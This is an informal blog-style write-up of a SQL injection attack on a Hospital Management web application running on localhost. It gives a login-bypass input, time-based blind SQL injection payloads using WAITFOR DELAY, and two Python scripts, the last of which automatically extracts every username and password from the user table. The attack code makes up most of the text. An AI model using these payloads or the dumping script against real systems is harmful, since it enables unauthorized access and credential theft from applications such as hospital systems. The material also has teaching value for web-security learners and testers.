I'm writing this in much more casual manner that I normally do. Its 12am, I'm feeling delusional and sleep deprived, I have work at 7am. Lets get to crackin.
OH look a Hospital Management web application. It would be a shame… if someone… Dumped the user database…. And that’s exactly what we gonna do.
Hospital Management Login Page
We know the username and password fields are SQL injectable
We can login into any user account we want by entering {username}'--
That is boring lets dump the user tables using a white box approach
Database Structure
User Table Structure
Proof of Concept
Now when we successfully login with our SQL injection payload, there is nothing rendered in HTML from the database. Sad. That would have made this entire process too trivial though. Blind SQL injection it is!
Lets craft a blind sql injection query using our knowledge of the database structure to 1 by 1 enumerate each character in the first row of the username 'Uname' field. Starting simple with 1 character, it looks something like this:
'; IF (SELECT SUBSTRING(Uname, 1, 1) FROM UserTab WHERE Id = 1) = 'j' WAITFOR DELAY '00:00:10'; --
Enter Burpsuite
Lets Use Burp to speed up our testing phase:
I dropped our payload in the 'ctl00%24ContentPlaceHolder1%24txt_login_username' parameter. Again we are testing the 1st position character of the Username field which we know to be true for the character 'j'. Take a look at the response time 12,062 milli seconds, that looks about right. Just to be sure lets test with a character that will result in false in order to not trigger our delay.
Wow 5 milli seconds, that’s a substantial difference and that’s good enough for me.
Now lets do our due dillegnece and ensure our code works for the second string position, all we need to do is alter the substring function in our sql query like so:
'; IF (SELECT SUBSTRING(Uname, 2, 1) FROM UserTab WHERE Id = 1) = 'a' WAITFOR DELAY '00:00:10'; --
I'll spare you the details it worked, can you say wahoo.
Now obviously I'm not gonna sit here like some chump and test each character one by one. We're script kiddies lets live up to our names and script this ish.
Enter Python
Starting out simple for a proof of concept lets automate the first char:
import requests
import string
import time
import urllib3
import warnings
# Suppress only the specific InsecureRequestWarning from urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Base URL and headers for the request
url = 'https://localhost:44306/Users/Loginpage.aspx'
headers = {
'Host': 'localhost:44306',
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Referer': 'https://localhost:44306/Users/Loginpage.aspx',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'en-US,en;q=0.9'
}
# The base payload template with a placeholder for the character
payload_template = (
"__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE5MDkwMzg1MjhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBSNjdGwwMCRDb250ZW50UGxhY2VIb2xkZXIxJENoZWNrQm94MftfyUqUBaNeVs9%2BD0GCHC%2BDpjDEq1%2BdD37NAET9vSn0&"
"ctl00%24ContentPlaceHolder1%24txt_login_username='; IF (SELECT SUBSTRING(Uname, 1, 1) FROM UserTab WHERE Id = 1) = '{char}' WAITFOR DELAY '00:00:05'; --&"
"ctl00%24ContentPlaceHolder1%24txt_login_pass=test&ctl00%24ContentPlaceHolder1%24btn_login_b=Login&__VIEWSTATEGENERATOR=F07E6E9A&"
"__EVENTVALIDATION=%2FwEdAAaAgSgigdNCmxIvEYdJg3G%2FNF87LwWBPM7KoN9MDoBshox%2F%2FbRdslveTViDKRDkmzW4Z67AOU%2FkzhzLV6X3P9qDNES5GijeIbosQC2kxpAQ0huJ926NKJs4PPaUc35EfPpujopDPWsk91KKJTjUn7fb4ZxctR8ks%2BWIjgjdKw1mgw%3D%3D"
)
# Characters to test, including all letters, digits, and common symbols
test_chars = string.ascii_letters + string.digits + string.punctuation
# Iterate through each character and send the request
for char in test_chars:
# Replace the placeholder with the current character
payload = payload_template.format(char=char)
# Record the start time
start_time = time.time()
# Send the POST request
response = requests.post(url, headers=headers, data=payload, verify=False)
# Record the end time
end_time = time.time()
# Calculate the response time
response_time = end_time - start_time
# Output the character and response time
print(f"Character: {char} | Response Time: {response_time:.4f} seconds")
Output:
Our POC script is looking promising. We know the first character in the first user name is 'j' and we can see that reflected in the response time.
Enter Final Exploit
Alright code happened here's a revised script we can use to enumerate the entire database, at least the parts I care about. Username and Password. Boy oh boy running this on IIS express through visual studio was a pain in the ass given how slow it is compared to a real server. I tried beefing up this script with multi threading to speed up the process. I would hope it runs faster testing against a real server. I was able to enumerate the 1st row in about 5 minutes ish. Also don't freak I modded the db a bit to speed up this process for my proof of concept. This still works on more complex credentials. Enuf chit chat here's the good stuff.
(Oh yeah, I added some edgy ascii art and a cool name cause why not)
import requests
import string
import time
import urllib3
import warnings
import concurrent.futures
from prettytable import PrettyTable
# Suppress only the specific InsecureRequestWarning from urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Base URL and headers for the request
url = 'https://localhost:44306/Users/Loginpage.aspx'
headers = {
'Host': 'localhost:44306',
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Referer': 'https://localhost:44306/Users/Loginpage.aspx',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'en-US,en;q=0.9'
}
# The base payload template with placeholders for the character, position, and ID
payload_template = (
"__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE5MDkwMzg1MjhkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBSNjdGwwMCRDb250ZW50UGxhY2VIb2xkZXIxJENoZWNrQm94MftfyUqUBaNeVs9%2BD0GCHC%2BDpjDEq1%2BdD37NAET9vSn0&"
"ctl00%24ContentPlaceHolder1%24txt_login_username='; IF (SELECT SUBSTRING({column}, {pos}, 1) FROM UserTab WHERE Id = {id}) = '{char}' WAITFOR DELAY '00:00:10'; --&"
"ctl00%24ContentPlaceHolder1%24txt_login_pass=test&ctl00%24ContentPlaceHolder1%24btn_login_b=Login&__VIEWSTATEGENERATOR=F07E6E9A&"
"__EVENTVALIDATION=%2FwEdAAaAgSgigdNCmxIvEYdJg3G%2FNF87LwWBPM7KoN9MDoBshox%2F%2FbRdslveTViDKRDkmzW4Z67AOU%2FkzhzLV6X3P9qDNES5GijeIbosQC2kxpAQ0huJ926NKJs4PPaUc35EfPpujopDPWsk91KKJTjUn7fb4ZxctR8ks%2BWIjgjdKw1mgw%3D%3D"
)
# Characters to test, including all letters, digits, and common symbols
test_chars = [ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o',
'p','q','r','s','t','u','v','w','x','y','z','A','B','C','D',
'E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S',
'T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7',
'8','9','@','#']
def get_next_char(column, pos, user_id):
for char in test_chars:
# Replace the placeholders with the current character, position, and ID
payload = payload_template.format(column=column, char=char, pos=pos, id=user_id)
# Record the start time
start_time = time.time()
# Send the POST request
response = requests.post(url, headers=headers, data=payload, verify=False)
# Record the end time
end_time = time.time()
# Calculate the response time
response_time = end_time - start_time
# Check if the response time is greater than 6 seconds
if response_time > 6:
return char
return None
def extract_value(column, user_id):
value = ""
position = 1
while True:
with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
future = executor.submit(get_next_char, column, position, user_id)
result = future.result()
if result:
value += result
print(f"Found valid character: {result} | Current {column}: {value} (ID: {user_id})")
position += 1
else:
print(f"{column} found: {value} for ID: {user_id}")
break
return value
ascii_art = """
██████ █████ ██▓ ██▀███ ▓█████ ▄▄▄ ██▓███ ▓█████ ██▀███
▒██ ▒ ▒██▓ ██▒▓██▒ ▓██ ▒ ██▒▓█ ▀▒████▄ ▓██░ ██▒▓█ ▀ ▓██ ▒ ██▒
░ ▓██▄ ▒██▒ ██░▒██░ ▓██ ░▄█ ▒▒███ ▒██ ▀█▄ ▓██░ ██▓▒▒███ ▓██ ░▄█ ▒
▒ ██▒░██ █▀ ░▒██░ ▒██▀▀█▄ ▒▓█ ▄░██▄▄▄▄██ ▒██▄█▓▒ ▒▒▓█ ▄ ▒██▀▀█▄
▒██████▒▒░▒███▒█▄ ░██████▒ ░██▓ ▒██▒░▒████▒▓█ ▓██▒▒██▒ ░ ░░▒████▒░██▓ ▒██▒
▒ ▒▓▒ ▒ ░░░ ▒▒░ ▒ ░ ▒░▓ ░ ░ ▒▓ ░▒▓░░░ ▒░ ░▒▒ ▓▒█░▒▓▒░ ░ ░░░ ▒░ ░░ ▒▓ ░▒▓░
░ ░▒ ░ ░ ░ ▒░ ░ ░ ░ ▒ ░ ░▒ ░ ▒░ ░ ░ ░ ▒ ▒▒ ░░▒ ░ ░ ░ ░ ░▒ ░ ▒░
░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ▒ ░░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
by: 0xMykull
"""
print(ascii_art)
# List to store results
results = []
# Loop through IDs until no more usernames are found
user_id = 1
while True:
# Extract username
username = extract_value('Uname', user_id)
# If no username is found, stop the loop
if not username:
break
# Extract password
password = extract_value('Pass', user_id)
# Store the result in the list
results.append({"ID": user_id, "Username": username, "Password": password})
# Move to the next ID
user_id += 1
# Display results in an ASCII table
table = PrettyTable()
table.field_names = ["ID", "Username", "Password"]
for result in results:
table.add_row([result["ID"], result["Username"], result["Password"]])
print(table)